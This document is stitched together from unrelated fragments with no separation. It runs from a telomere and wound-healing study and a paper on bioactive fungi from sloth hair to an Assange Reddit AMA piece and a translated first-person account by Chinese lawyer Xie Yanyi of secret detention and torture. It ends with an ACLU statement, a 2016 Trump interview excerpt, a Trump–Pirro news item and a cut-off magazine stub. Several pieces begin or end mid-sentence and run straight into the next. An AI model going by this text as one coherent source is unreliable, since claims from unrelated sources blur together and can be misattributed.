cells with hyper-long telomeres compared with the GFP-negative cells and the in the non-chimaeric age-matched controls (Fig. 7b,c and Supplementary Fig. 17). Telomere length was analysed in the skin extracted from chimaeric mice with either normal or hyper-long telomeres as well as in age-matched controls when wounds were caused, confirming longer telomeres in the GFP-positive cells derived from ES cells with hyper-long telomeres (Supplementary Fig. 18). Histopathology analysis confirmed that GFP-positive cells contributed to wound-healing in the chimaeric mice with hyper-long telomeres (Supplementary Fig. 19). Together, these results indicate that hyper-long telomeres are advantageous for skin regeneration compared with normal length telomeres.A total of 84 fungal isolates was examined from the coarse outer hair of nine living individuals of the three-toed sloth (Bradypus variegatus) encountered along Pipeline Road in Soberanía National Park, Republic of Panama. Hair samples were transported to the lab in sterile Falcon tubes which had been half filled with silica gel, a desiccant that is effective for storing fungal tissue [31],[32]. Every piece of sloth hair placed on agar yielded multiple fungal isolates representing a variety of morphotypes. Phylogenetic analyses of axenic strains revealed a diverse group of fungi, some of which appear to be novel relative to previously observed or sequenced taxa (Table 1; Figure 1). Many of these isolates display bioactivity in vitro against parasites that cause malaria and Chagas disease, breast cancer cells, and both Gram-positive and Gram-negative human pathogenic bacteria (Table 2; Table 3).
Topology of each tree reflects ML analysis, and values above branches indicate ML bootstrap values and Bayesian posterior probabilities (>0.50 and >0.75, respectively). Outgroups and taxon sampling for each tree were validated by literature surveys (see methods). Taxonomic conclusions are presented in Table 1. Figure 1(A) : Placement of F5073 in group 17; (B) F4847 in group 18; (C) F4831a in group 19; (D) F4819 in group 20; (E) F4801 in group 5; (F) F4806 in group 7; (G) F4886 in group 8; (H) F5071 in group 15; (I) F4812–F4816, F4830, F4831, F4845, F4852–F4856, F4860, F4873, F4882, F4883 and F4900–F4902 in group 1; (J) F4803, F4817, F4820, F4823, F4824, F4826, F4827, F4829, F4837, F4841, F4842, F4846, F4848, F4857, F4858, F4861, F4862, F4870, F4872, F4875, F4878, F4879, F4894–F4896, F4908, F4909, F5069 and F5074 in group 2; (K) F4818 and F4839 in group 10; (L) F4877, F4890 and F4897 in group 11; (M) F4828 and F4898 in group 12; (N) F4876 and F4881 in group 13; (O) F4863 and F4884 in group 6; (P) F4821, F4874, F4889 and F4913 in group 3; (Q) F4802, F4807, F4825, F4844, F4906 and F5068 in group 4; (R) F4850 and F4891 in group 9; (S) F4904 and F4905 in group 14; and (T) F5070 and F5072 in group 16.
Eighty-four fungal isolates from the coarse outer hair of nine individuals sloths (B. varieagatus), their top BLAST matches, and maximum identity value from BLAST searches; group ID and tree ( Fig. 1 ) revealing phylogenetic placement; and taxonomic placement based on phylogenetic analyses at the family (order) and genus levels ( Fig. 1 ).
Isolate F4891 ( Figure 1(R) ) did not appear to be closely related to any named sequences in GenBank and could only be identified as possibly a member of the order Pleosporales (Dothideomycetes). Isolate F4850 ( Figure 1(R) ) had 96% sequence similarity to its closest match in GenBank, an uncultured soil fungus clone ( Table 1 ; [35] ). Further analyses are warranted in order to confirm whether isolates F4891 and F4850 are novel fungal species. In general, identifications assigned by phylogenetic analyses closely matched those of the top BLAST hits for each isolate ( Table 1 ).
Eighty isolates could confidently be assigned to 15 genera ( Table 1 ; Figure 1 ). Two isolates were given more tentative phylogenetic placements. F4886 ( Figure 1(G) ) was identified as Robillarda sp. or as a member of a closely related genus within the Amphisphaeriaceae. Isolate F4831a ( Figure 1(C) ) was identified as a member of Paraconiothyrium sp. or a closely related genus within the Montagnulaceae. The two most common genera, Pestalotiopsis sp. and Hypocrea sp., were isolated from 7 of 9 and 5 of 9 sloth hair samples, respectively.
Following phylogenetic analyses, high level identities (class, order, family) could be confidently assigned to 82 fungi representing 15 families and 10 orders ( Table 1 ; Figure 1 ). The majority (81.7%) of these were Sordariomycetes. Fungi from this class are well documented sources of bioactive metabolites (e.g., [33], [34] ). The remaining isolates were Dothideomycetes (15.9%) and Eurotiomycetes (2.4%).
Sequences that aligned well to one another were partitioned into clusters to create 20 groups of apparently similar species ( Table 1 ; Figure 1 ). One group contained 29 sequences from sloth-hair fungi, one group contained 20 sequences, and the remaining 18 groups contained between 1 and 6 sequences each. Between 34 and 165 sequences from closely related taxa were compiled for each group to make non-redundant datasets to which one or two appropriate outgroups were added based on literature review.
BLAST comparisons with GenBank provided preliminary estimations of taxonomic placement and similarity to previously sequenced fungi ( Table 1 ). All isolates were Ascomycota. Fourteen isolates had a top match to uncultured fugal clones |
Visa
1/25/12 – WikiLeaks founder Julian Assange’s TV show to be aired on Russian channel
4/6/16 – WikiLeaks: US Gov’t Behind Panama Leaks to Attack Putin
8/8/16 – http://www.nytimes.com/2016/08/08/opinion/can-we-trust-julian-assange-and-wikileaks.html Since you are so adamant that Russia was not involved in the recent leaks that played a major role in the US presidential election, it would be helpful if you can make a compelling case for why Americans should trust you over their own intelligence agencies whose reason for existence is to defend the US against foreign threats and who are saying the opposite about Russian involvement.
In a break with the usual Reddit protocol, Assange is answering questions via a live Twitch feed, instead of typing out comment replies. That’s made it slightly easier for him to ignore the more probing questions, and thus far he’s made a couple of mostly-irrelevant comments on the Reddit thread.
Sometimes, holding an AMA can work well for a public figure to get their point across. But when there’s pending questions about, say, an organization’s role in upsetting the course of democracy, Reddit Q&As don’t tend to come out so well.Xie Yanyi, October 15, 2017
Xie Yanyi (谢燕益) is one of the twenty or so 709 detainees during China’s sweeping, still ongoing crackdown on human rights lawyers and activists. He was held incommunicado from, July 12, 2015 to January 18, 2017, in Tianjin. As a human rights lawyers, Xie Yanyi’s career spans from 2003 to the time when he was detained, representing dozens of cases involving religious freedom, freedom of speech, forced expropriation of land and property, corruption, local elections, political prisoners, and more. Meanwhile, he has been known for passionately advocating democratic transition in China. During the 553 days of disappearance, his wife gave birth to a baby girl, and his mother died without him knowing it. In September he posted a book titled “A Record of 709 Crackdown and 100 Questions about Peaceful Democracy in China” in which he recounted his experience during the six-month secret detention and following year in Tianjin Second Detention Center. He is the second 709 lawyer, after lawyer Xie Yang in Hunan, who has spoken out about torture and other degrading treatments perpetrated on human rights lawyers and activists. On September 6, Xie Yanyi posted an open letter to Xi Jinping, the Communist Party, and fellow Chinese, calling for an end to the one-party dictatorship, releasing all political prisoners, and setting the course to transition China into a constitutional democracy. Predictably, he has been harassed and threatened by police. China Change is pleased to bring you translation of excerpts of Xie Yanyi’s recollections and reflections on 709 atrocities. — The Editors
The Police Are Here
I got home in the middle of the night on July 11, 2015 and fell asleep right away. The next morning, not long after I had gotten up, I heard a knocking at the door. I looked through the peephole and saw Captain Wang’s men from Domestic Security. I tidied up a bit and opened the door. They wanted me to go to the office of the neighborhood committee for a little chat. I went there with them, where Miyun District domestic security personnel had been joined by Beijing domestic security. They asked about the same old things. At a break in the conversation I went to relieve myself and discovered that people from Domestic Security were following me into the bathroom. It was then I realized the gravity of the situation. Our conversation continued until noon, when we had fast food in the office. We had just finished eating when ten or so plainclothes officers burst in. The first one flashed his badge at me. He said he was from the Tianjin Public Security Bureau and asked if I was Xie Yanyi. I said yes. I saw from his badge that he was surnamed Liu. Then he handcuffed me. I protested, but no one paid attention. They swarmed around me as I was led downstairs. We got into an SUV, where I sat in the backseat between two men. There were about two or three cars following behind us. We sped off. Soon we arrived at the Miyun Chengguan police station (密云城关派出所). There was an interrogation room equipped with an iron chair that the suspect could be buckled into. They made me sit there to begin my questioning. This was the first time in my life I had been handcuffed and interrogated. At first I was confused, but once I was sitting I calmed down. I had no idea that it was just the beginning of a long ordeal and contest.
The Black Hood
At nightfall I was taken out of the police station. Not only did they handcuff me again, they also put a black hood over my head. I was escorted to an SUV. It sped off as soon as it hit the highway. I naively wondered if they were just doing this to frighten me. Maybe they’ll just drive in a circle and then bring me home? But the car kept going at top speed, and there was no sign of stopping. I was cramped, wrapped in place by the people on either side of me. And I was nervous. I felt like they had tied the hood too tightly and that it would suffocate me. I asked them politely if they could take it off, promising I wouldn’t act out if they did, but they said it was an order and they had to follow. I then begged them to loosen it a little so I could breathe, but they didn’t pay any attention to me. Then I reasoned with them, trying to win their sympathy, and asked again if they could loosen it a little. The man in the passenger seat shouted, “You won’t suffocate to death!” When those words fell on my ears, I realized that pleading was no use. I should instead stay as calm as possible.
About an hour later the car reached its destination. I couldn’t see anything and had no way of knowing our exact location. They had me get out of the car and squat down. Soon a few people came and did what seemed like a handover procedure. As they talked, I sensed I was being handed over to army troops. They changed my handcuffs but didn’t remove the hood. After we had gotten into another car, I turned to the soldier on my left and mentioned my difficulty breathing. Would he mind loosening the hood a little so that I could breathe through the gap? This soldier pulled the black hood up a little bit. I took the opportunity to thank all of them profusely for their kindness. In response, the soldier on my right pressed a little bit less against me. Not longer after our car entered a compound. We were let in by the gatekeeper, then drove up to a building. After a bit, someone called me out of the car. The men on either side of me took me into the building and told me to watch my step. We went up to the second floor and turned right into a room, where they told me to stand facing the wall. Someone came and took the hood off my head, then told me to strip naked. Then I was asked to squat twice. They searched my body to see if I had hidden anything.
The Special Room
When they were done inspecting me they had me turn to face them, then starting taking photos. They took away my clothes and gave me two sets of soft, casual clothes. One man announced the daily schedule for me and informed me that the next day I was to study the prison rules and regulations posted on the wall. Everyone left except for two soldiers, who stood on either side of me. I asked them if I could rest. They said no, that according to the rules I had to wait until 10:30. So I sat down and read the rules. Then I sized up the room. It was not quite 20 square meters [66 square feet]. To the right of the entrance was a bathroom. A single bed stood against the outer wall of the bathroom. To the right of the bed was open space. Opposite the bed was a padded desk draped with a blue tablecloth. In front of that was a soft high-backed chair. At the far end of the room a heavy curtain was pulled over the window to keep out the light. The walls were completely padded. Even the corners of the desk, the foot of the bed, and the chair were padded and rounded. Around 10 they told me I could get ready for bed and gave me a toothbrush, a towel, and a spoon. Even the handles of the toothbrush and the spoon were rounded and made of rubber. If I wanted to use the bathroom or do anything else, I had to announce my intention and be granted permission before I could proceed. There were always two soldiers guarding me. When I slept at night one would watch me from the head of the bed, the other from the foot. It seemed all these measures were meant to keep me from killing or mutilating myself.
The Interrogation Begins
On the first day, I got into bed as soon as it was time to rest. I couldn’t fall asleep right away, as my mind replayed the events of the day and I considered what fate could be in store for me. Everything felt like half-dream, half-reality. Just as I was about to drift off, someone charged into my room, booming, “Get up and clean up. The special investigation team (专案组) wants to see you!” I had no choice but to get out of bed and get dressed. I moved the toothbrush and other things from the desk to the bed, then sat down and waited for the special investigators. I thought, “The grueling interrogation is about to begin.”
Two men came in. One looked to be over 40 years old, tall and strong. He said his last name was Jiang (姜). The other man was a bit shorter, bespeckled, a little fat, around 30 years old. Later he would call himself Cao Jianguang (曹建光). The first night they questioned me until four or five in the morning. I had just collapsed into bed when the on-duty soldiers woke me up again. After breakfast the interrogators came back. A tall, skinny man wearing glasses had replaced one of the others from before. He said his last name was Wang (王), so I called him Old Wang. (Nearly a year passed before I learned from someone else that Old Wang isn’t surnamed Wang, but Yan [严], so now I call him Lieutenant Yan.) The first two, if I’m right, were from the Beijing Public Security Bureau, while Lieutenant Yan is from the Tianjin PSB. I would see more of him after I was transferred to Tianjin.
They also asked me to confess, but I had nothing to confess. It was unbearable in the beginning. I became aware that I might not get out in the short term, and that I needed a plan, so I thought of writing a letter to my wife. My wife had just told me she was pregnant. We already had two boys and were supporting a large family, but our shared faith doesn’t permit abortion. She had secretly taken out her birth control ring. Then I was taken away, and that was where our conversation ended. I told the special investigators that I wanted to write a letter to my wife. At first they said no, then added that they had to ask for instructions. That evening I started to fast. Besides protesting my illegal detention and demanding the letter, I also hoped to make my psychological crisis a physical one, to divert my attention from the mental pressure through the pain of hunger, and to give myself some happiness when I did eat again. I fasted for over 72 hours, until lunch on the fourth day. They gave me pen and paper. The guard added that if I fasted again they would feed me through a tube.
The interrogations continued as usual every day. Sometimes they would question me three times in one day, morning, afternoon, and night; or else twice in a day.
Transfer to Tianjin
Just before noon on September 8, 2015, I was told to inventory the items they had confiscated from me and sign the list. That night I was informed that due to building renovations I was to be transferred. Right then we left the residential surveillance location in Beijing, and I was secretly transferred to a residential surveillance location in Tianjin. It must have been in a People’s Armed Police building, since I was guarded by armed police officers. (The place in Beijing must also have been a PAP building, too. I think it was in the Xiaotangshan area of Changping, Beijing. I remember when I was there often hearing the sound of fireworks nearby. Perhaps it wasn’t far from a cemetery or a crematorium?)
In Tianjin they took off the white gloves. They did all sorts of things to get me to confess: starving me, forbidding me to move my legs, beating me, intimidating me, forcing me to sleep in a fixed posture, disciplining me. For half a month I was made to sit on a block for 16 hours straight every day.
I was kept in Room 8, facing rooms 11 and 12. I saw these numbers once through the gap in my blinders when I was taken out for my room to be disinfected.
What Happened October 1-10 Above Room 8?
At about 9 a.m. on October 1, I distinctly heard someone above me fall hard onto the floor. There was a soft groan, then no more sound. It seemed like someone had just been given an electric shock. From October 1 to 10, nearly every day I heard interrogations, howling, and moaning in the middle of the night in the room above me. That was when I decided that I absolutely had to control myself, find a way to get out as early as possible, and expose this torture.
I guarantee this is not a hallucination. I hope the day will come when people on the outside can see the site of this terrible torture with their own eyes: the room above Room 8 at the 709 residential surveillance location must be a special room. I often heard them moving all kinds of equipment, dragging it here and there. There was the incessant sound of installation and adjustment, lasting for two months straight at least. I don’t know what happened up there. Just before the 709 residential surveillance came to an end—that is, in the last few evenings before the 709 detainees were formally arrested in early or mid-January 2016—from Room 8 I heard people organizing files, stacking papers on top of each other. It often sounded like meetings were being held up there, too.
Devils in White
After I was transferred to Tianjin, it was around October when they suddenly started giving me daily checkups. They would take my blood pressure and check my heart rate. I could tell they were nervous. Every other week or two they would bring in an electrocardiogram and check my heart. With this change I realized some among us must have started having health problems. There was a Director Zhou, and a doctor who I think was named Liu He, who examined me. Every doctor and nurse was expressionless and stony-faced, like robots. They did not interact with me beyond routine business, and I never felt a drop of good will from them. I had no way of knowing their names or identities. This was terrifying. They did whatever the higher-ups told them to do, regardless of how I felt about it. If I made a request of any kind, they either would ask the special investigators for instructions or simply not respond at all. You would think they were angels in white, but the more I saw them, the more they seemed like devils in white.
Taking Medicine
While in Tianjin, nearly all of the 709 detainees, as I’ve since learned, were forced to take medicine. Every day a physician would bring the medicine, and every time they would shine a flashlight in my throat to make sure I’d swallowed. It was about four white pills each time. They said I had elevated transaminases and that it could be a problem with my liver. But I’m a vegetarian. I don’t smoke, I don’t drink. I’m in good health and haven’t had any health problems. I’m also not in the habit of taking medicine. I think everyone’s body is unique. Even if a certain indicator is high for someone else, for me that same reading could be just fine. I tried reasoning with them several times and refused to take the medicine. Then the physician, the discipline officer and the warden had to come force feed the pills to me. I had no choice but give in. After about two months the medicine stopped.
Sitting on the Block
At first I had a high-backed chair in my room. Then it was swapped for a block with nothing to lean on when I sat down. I sat there for at least 12 hours a day, sometimes as much as 16 hours a day. When you’re sitting on the block you are not allowed to rest your hands in your lap for support, andthe on-duty soldiers carry out orders to the letter. You can all try sitting on a block, or a stool, without resting your hands, so that you only have the strength of your back to support you. An hour is fine. What about ten hours, a hundred hours, a thousand hours? Few of you will be able to imagine it. If you aren’t cooperative during an interrogation, all they have to do is to put you on that block, and you will succumb to their control.
I’ll give an example. Once I asked to revise an interrogation transcript. They beat me and boxed my ears. For more than ten days after they only gave me half rations, nothing more than a few bites of vegetables and one small steamed bun or a few mouthfuls of rice. For 16 hours, from morning to night, I had to sit, and when I slept I had to hold a posture as dictated by the guards. They asked me to sit on the block like a soldier: head up, chest out, back straight, hands on knees. Except for using the bathroom, I was not allowed to move at all from 6 a.m. to 10 p.m. In the end I sat so long that my legs tingled and went numb. When I had to relieve myself, I physically couldn’t. They don’t have to beat you and they don’t have to curse at you. All they have to do is make you keep sitting like that. You’ll either die or be crippled.
Interrogation Questions
Day after day the interrogations went on. Starting with my lawsuit against Jiang Zemin (江泽民) for violating the constitution and popular will by staying on as chair of the Central Military Commission in 2003, to the 2005 signature campaign to help lawyer Zhu Jiuhu (朱久虎), to advocating for direct election of members of the Beijing Lawyers Association in 2008, to signing Charter 08, to the China Human Rights Lawyers Group, to human rights cases I had taken on over the years, to rescuing fellow lawyers, to petitions, to letters of appeal I had written, like the one calling for Tang Jitian (唐吉田) to have his right to practice law reinstated, and the one calling for the release of Chen Yongzhou (陈永洲) and the protection of his rights as a journalist; from raising funds at a seminar in Zhengzhou for the lawyers detained in Jiansanjiang (建三江), to Liu Jiacai’s (刘家财) incitement of subversion case, to Zhang Xiangzhong’s case (张向忠), to Falun Gong cases, to Xu Dong’s case (许东), to the Qing’an shooting (庆安), and on and on, and then to taking the position of legal advisor in Qin Yongmin’s organization Human Rights Observer (秦永敏，人权观察), to helping Qin Yongmin himself; from giving interviews to foreign media, to my participation in academic symposia in Hong Kong, to my compilation of Roads of Faith (《信仰之路》), to the articles on peaceful democratic transition I had posted online, and even to a dinner I had organized in Beijing in early 2015—they asked me about all of these.
When they asked about other people—who was at a particular event, who had participated—my default answer was: I don’t know, I couldn’t quite remember. I insisted on this during the endless interrogations, but as long they didn’t get what they wanted they wouldn’t stop. When they had tried everything, when they had asked me repeatedly and I wouldn’t comply, they brought printouts from the internet, my communication history, online records, to verify with me one by one. They were the ones who brought up theoe names, but in the interrogation transcripts, they made it look as though I had given these names to them. Later, they didn’t even bother to play this trick; instead they would simply type up “transcripts” and have me sign them.
But early on and often I vowed to them that I wouldn’t hurt anyone. I insisted that my actions had nothing to do with anyone else, that I’d take full responsibility for all my deeds, that I respect the facts and the law, and that I would not shirk my own problems.
They took great pains with me, because they also had to report to their superiors. If I didn’t sign, that meant I didn’t comply, and that would be their failure. They told me if I made it difficult for them, they wouldn’t let me go. If I had a bad attitude, they had all sorts of ways to torment me. Once you’re in the detention center, if you don’t cooperate, they punish all the inmates in the same cell and don’t let them have daily yard time. In short, they had a thousand different ways to force me to submit, but one thing is certain: during more than a year and a half of interrogations, I didn’t identify a single person, and I didn’t give them a single piece of information that would implicate anyone else.
Their method is to turn everything upside-down inspecting your computer, your phone, your books, your possessions, your contacts, all records of your life. From elementary to high school, your parents, your family, your relatives, your friends, everything about you is in their grasp. It is a boundless war (超限战), meaning there is nothing they won’t do to get what they want. For example, they showed me photos of my newborn daughter, videos of my son in class and playing the horsehead fiddle; and they threatened to detain my wife, Yuan Shanshan (原珊珊). That nearly broke me.
Walking
Walking was the only diversion I had. Except for when they forbade me to move at all, every day I asked the two soldiers for permission to walk back and forth the two or three meters between my two minders. By my rough estimate, I must have walked at least a couple of thousand kilometers during my six months of secret detention. At first walking was one of the greatest pleasures, but later on I walked so much I hurt the ligaments in my knees. But still I told myself to keep walking. I was afraid that they would take away this one small freedom from me.
Disappearing Money
In February or March 2016, Lieutenant Yan and Officer Li came and had me inventory my credit cards, bank cards, ID card, household registration, and personal records, and had me sign a statement about my confiscated possessions. They said as soon as I signed they would send everything back to my wife. I noticed right away they didn’t have a laundry list of the items, yet this document I had to sign stated that “all of the above-mentioned items were on my person [at the time of my detention].” I didn’t know whether to laugh or cry, but I objected immediately. It was summer when they detained me and I was only wearing shorts. I had had nothing on me besides my keys and some loose change. In any case, it makes no sense for anyone to carry his or her household registration and personal files. But if I didn’t sign they wouldn’t send anything back. My wife had to care for our three children and she doesn’t work. She needed those documents. I had no choice but to sign. When I got out, however, I saw that hundreds of thousands of yuan had vanished from my bank account. I heard that Chen Guiqiu (陈桂秋), lawyer Xie Yang’s wife (谢阳), also saw all her savings evaporate overnight. To this day, the bank has been evading my inquiries about my account activities during my detention.
Red Vests
All of the 709 detainees wore red vests in the detention center. Ordinary criminals wear blue vests; death row inmates and people convicted in certain corruption cases, like the 2015 Tianjin explosions, wear yellow; and inmates who are ill wear green. Red is for the highest level of inmates, the ones dealt with most strictly. My vest number was 166. I know that Wu Gan’s (吴淦) is 161 and Xing Qingxian’s (幸清贤) is 169. I was in cell C5. One of them was probably in C6, the other in C7. We were all close by, but red vests were forbidden from seeing each other and were questioned separately. I had to ask permission to do anything, including drinking water or using the toilet. The HD cameras set up in the cell monitored our every move. Every day when I had to relieve myself, the on-duty cellmate would go to the intercom by the door and report this to the discipline officer. Once the discipline officer approved, two cellmates would lead me to the bathroom, one in front of me and one behind. I never spent a cent on anything in the detention center, both in protest of the substandard meals and of the unsightly one-upmanship that went on among my fellow inmates. I went on eating my ration of cabbage every day. It was true that, several times, the detention center sent me food and supplies (I suppose they did the same for the other 709 detainees, too), and on those occasions I’d have a share for myself and distribute the rest among my cellmates. And the moldy peanuts my cellmates threw away were my favorite treat.
Confession
People have asked me if I gave any oral or written confessions. In those 500 long days, I wrote at least two notes of repentance. For the first one I wrote the bare minimum. I didn’t use words like “confess” or “repent,” and I put the primacy of human rights, peaceful democracy, and the rule of law at the core of my self-criticism. They weren’t satisfied and forced me to write another note. In the second one I admitted that I had incited subversion by advocating for peaceful democracy in my writings. At last, when I had done what they had asked, they didn’t forget to make me title it “Note of Repentance.”
Let me explain my thinking at the time: First, I wanted to make things a bit easier in case I had to stand trial, the sooner to rejoin my family. Second, I told myself that I had to get out and bear witness to the torture we were suffering, to keep the public’s attention on my peers still in prison, to help others avoid this treatment, and to pave the way for this whole injustice to be reversed! Third of all, I was completely cut off from the outside world. They found all kinds of ways to keep me in submission: not letting the cell block out for exercise if I was uncooperative; telling me everyone else had been released except for me; showing me the videos of the trials of Zhai Yanmin (翟岩民), Hu Shigen (胡石根), Zhou Shifeng (周世锋), and Gou Hongguo (勾洪国), and of Wang Yu’s (王宇) televised interview, and showing me their confessions and notes of repentance; playing me videos of my kids; showing me the photo of my newborn daughter; and on and on.
Once they dressed me up and taped me reading a statement they had prepared. They promised me up and down that the video was only for their superiors, not for the public. They made me write things and videotape things. I once told them in no unclear terms that all of this wasn’t about my own needs but about their superiors’. To me, whether I was inside or outside prison I would shoulder my responsibility just the same, and neither was easy.
Courtroom Dream
As I watched Hu Shigen’s trial, I was stunned, and inspired, by the look in his eyes. I also made plans for the worst. In the court, Mr. Hu admitted that he was guilty of subversion of state power, but he also used the opportunity to lay out his political theory, turning CCTV and many other state media outlets into his podium. He expounded on the three factors of peaceful transition to a constitutional democracy and the five proposals. I thought that if the day came for me to stand trial, I would do the same as Mr. Hu and present to the public the concept of peaceful democracy and the policies to implement it. It was just like they say, seek and you shall find, a result befitting my years of devotion to the effort to realize peaceful democracy in China. I imagined the scene in the courtroom. If my family could be there too, I would also tell my children, “Daddy loves you. Daddy can’t go fishing or catch grasshoppers with you anymore. Daddy is doomed to miss your childhood. But Daddy hopes you will remember that conscience has no price.”
Troubled Interrogators
The interrogators, I sensed, were not at ease doing what they did. From the highest to the lowest, they were beholden to personal interest, force, and power. They had no moral sense, each ready to jump ship if he had to save himself. The 709 case, I would say, was a hot potato from the very start. I was questioned by people who called themselves Old Jiang and Cao Jianguang (both from Beijing), Old Wang (who turned out to be surnamed Yan), Liu Bo (Lieutenant Liu), Officer Li (Tianjin), and two or three others whose names I don’t know. There was also one from the Ministry of Public Security who might have been surnamed Liu, who recited the Heart Sutra for me. They said that, year in and year out, they dealt with cases involving the big tigers, the highest-level officials. They were clearly not just ordinary public security bureaucrats. The thing is, though these insiders looked and acted strong, they knew full well that they were breaking the law and that this time they were facing extraordinary opponents. I could sense that nearly every one of them wavered at one time or the other, feeling tormented themselves and not knowing what to do. Then there were the armed police who guarded me. Except for the cruelty of the imprisonment itself, I clearly sensed their conscience, their natural goodness, and their disapproval of the atrocities perpetrated against me.
Residential Surveillance at a Designated Place
This coercive practice known as “Residential Surveillance at a Designated Place” is probably rooted in intraparty struggles and corruption investigations. In recent years it has spread and been legalized. In Party parlance this form of custody is known as “double designation” (双规) or “to be isolated and investigated.” It can be perverse or straightforward, lax or strict. It all depends on the demands and preferences of whoever’s in charge. It is essentially domestic discipline—extrajudicial punishment.
When you are under residential surveillance at a designated place, such as I was, there is no outside mechanism to monitor the process, no channel for relief, not even a legal mechanism to protect your health or your sanity. Your family and your lawyers are left in the dark, unable to meet or communicate with you. No one even knows if you’re alive or dead. In the process abuse and torture are inevitable. This is why cases continuously emerge of unusual deaths, mental illness, and bodily harm occurring during the residential surveillance.
I Challenge You
Since I was released I’ve felt conflicted. I wanted to expose these crimes, but I didn’t want to hurt anyone, not even the perpetrators. After much consideration, I still decided to speak what I know, because even exposing the criminals would benefit their children and their grandchildren. I would like here to address the head of the Tianjin Public Security Bureau, Zhao Fei (天津市公安局局长赵飞), and his subordinates: I believe that yourselves and the special investigators all have the qualifications, as well as the duty, to stand up and explain the 709 case to your superiors, including the Supreme People’s Procuratorate, the Central Committee of the CCP, the Central Commission for Discipline Inspection, and the entire nation. What happened? What exactly did these lawyers and citizens do? Is what they have done legal or illegal? Reach into your conscience and tell us: Are their actions and conduct truly harmful to a country, a people, a society? Were they defending the rule of law and human rights, or were they committing crimes? Who exactly is afraid of them? Who ordered you to torture these lawyers and citizens? What were you trying to accomplish? Why did you pick Tianjin to handle the 709 case, as it went against procedural law? Who made that decision?
Director Zhao Fei, I demand that you stand up and tell your fellow countrymen why you let torture happen under your watch. What was going on in the room (the torture chamber) above Room 8 from October 1 to 10? What happened to Hu Shigen? What happened to Wang Quanzhang? What was the plan for 709 crackdown? Who planned the Cultural Revolution-style trials of public opinion and the media smear campaigns? How did you get government-appointed lawyers involved? Whose despicable idea was it to force some of us to confess and to televise the confessions? Who gave you the right to tape the 709 detainees? You didn’t even make exceptions for the young paralegals Zhao Wei (赵威) and Li Shuyun (李姝云). You labelled these 20-somethings subverters of state power. Who decided to turn everyone into an enemy of the state? Who decided to charge us with picking quarrels and provoking troubles first, then switch the charge to inciting subversion of state power, and finally to subversion of state power itself? As a law enforcer, did you give expert legal advice to your superiors? Who ordered the cruel and criminal treatment of the detainees—the secret detentions, the starvation, the sleeping postures, the ban on movement, the 16-hour sessions of sitting like a soldier? Who ordered that we be forced to sign the transcripts of our interrogations, deprived of our right to petition, deprived of our right to defense, forced to take medicine? Who ordered you to appoint lawyers for us against our will and devise all kinds of tactics to intimidate us? Who sent the procurators and special investigators to coax me and try to change my mind? When you confiscated my possessions, why didn’t you inventory my credit cards, my bank card, my ID and all the other items? Why haven’t you returned what you took from me? Who gave you the right to monitor the phones and online communications of citizens?
Calm in the Storm
My time inside was hard to endure. The detention center is a bit better; residential surveillance is much worse. Truth be told, I was eager to leave my imprisonment the first three months, but then I slowly settled down. After I got to the detention center they continued to interrogate me regularly and try to persuade me to do their bidding. They even enlisted my cellmates and the discipline officer to change my mind. I told them that they were the ones who were fretting over gains and losses, and that, for me, it wouldn’t matter if things turned out to be one way or the other. At this age, I told them, I shoulder my responsibility when I’m on the outside, and I do the same when I was sitting in prison. Sitting in prison might even be a bit easier and quieter.
Having reached an equilibrium, I really look down on them: some of their ideas and ways of doing things are so low and so despicable. They aren’t worthy opponents in intelligence or ability. I pity them more and more. They deceive, they bluff and they fret. They put on an act in front of me. As for me, I have learned from experience the power of the Dao: the have-nots conquer the haves, the calm conquer the restless, the weak conquer the strong.
Excerpted and translated from Chinese by China Change.
Related:
Transcript of Interviews with Lawyer Xie Yang (1) – Arrest, Questions About Chinese Human Rights Lawyers Group, January 19, 2017.
Transcript of Interviews with Lawyer Xie Yang (2) – Sleep Deprivation, January 20, 2017.
Transcript of Interviews with Lawyer Xie Yang (3) – Dangling Chair, Beating, Threatening Lives of Loved Ones, and Framing Others, January 21, 2017.
Transcript of Interviews with Lawyer Xie Yang (4) – Admit Guilt, and Keep Your Mouth Shut, January 22, 2017
Crime and Punishment of China’s Rights Lawyers, Mo Zhixu, July 23, 2015.
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Like this: Like Loading...WASHINGTON – According to a report today in the Los Angeles Times, some Obama administration officials are in the process of drafting classified guidelines that would allow the government to indefinitely hold terrorism suspects outside of the United States without charge or trial. The policy, if adopted, would apply to future terrorism captures, and is reportedly still being debated within the administration with some officials voicing objections.
The ACLU continues to call on the Obama administration to adhere to the rule of law in its handling of terrorism suspects.
The following can be attributed to Laura W. Murphy, Director of the ACLU Washington Legislative Office:
“The Obama administration already has a set of guidelines on how to handle terrorism suspects: it’s called the Constitution, and it is deeply discouraging that the administration is having a debate on how to circumvent it. The rule of law is not optional, and we do not need an elaborate set of guidelines – especially a secret one – that has the function of creating loopholes to it. It is time to put an end to the assumption that the only way to keep us safe is to violate our most fundamental laws and values.”
The following can be attributed to Jameel Jaffer, Director of the ACLU National Security Project:
“After eight years of an administration that frequently and flagrantly flouted the law |
saying she’s going to change. She’s not going to change.
And besides that, she’s totally controlled by Wall Street and her special interests.
RITTIMAN: Got to follow up because you brought up Bernie. He said his people aren’t going to go for you. That’s just not going to happen. What do you say back to him?
TRUMP: Well, Bernie made a big mistake because Bernie made a deal, and I think he’s got buyer’s remorse. I think his people are going to go for me because of trade. He was right about only one thing, he was right about trade. I mean, he uh, he said that we’re being ripped off on trade, and we are.
So, I think his people, I think he’s lost control of his people. He made a terrible mistake. He sold out to devil, and his people are very upset about it and you saw that last night. And you even saw it with him. He’s sitting there when they’re talking about him, and he looks like he’s in a state of major depression.
So, Bernie Sanders he made a bad deal. He ruined his legacy. Had he not made that deal, his legacy would have been terrific. But he sold out to the devil.
Copyright 2016 KUSAPresident Trump walked out of a meeting with Fox News host Jeanine Pirro after reportedly growing weary of the conversation, according to a New York Times report.
The Nov. 1 meeting with Pirro came at her request, according to the Times, and hinged on a deal approved during Hillary Clinton's tenure as secretary of State that gave Russia control over part of the United States's uranium production capacity.
But during that meeting, Pirro, who hosts Fox News's "Justice with Judge Jeanine," went on to rile the president up over special counsel Robert Mueller and former FBI Director James Comey, the Times reported.
Mueller is conducting the criminal investigation into Russian meddling in the 2016 election and possible collusion between the Trump campaign and Moscow. Trump has called the probe a "witch hunt."
Comey, who was abruptly fired by Trump in May, has also been the target of Trump's ire at times. Comey claimed earlier this year that Trump once asked him for a loyalty pledge and later pressed him to end the FBI's investigation of former national security adviser Michael Flynn.
At one point in the meeting between Trump and Pirro, according to the Times, White House chief of staff John Kelly interrupted, saying that Pirro was not "helping things" by riling up the president.was a glossy
published in
during the 1980s and 1990s. It covered
topics such as
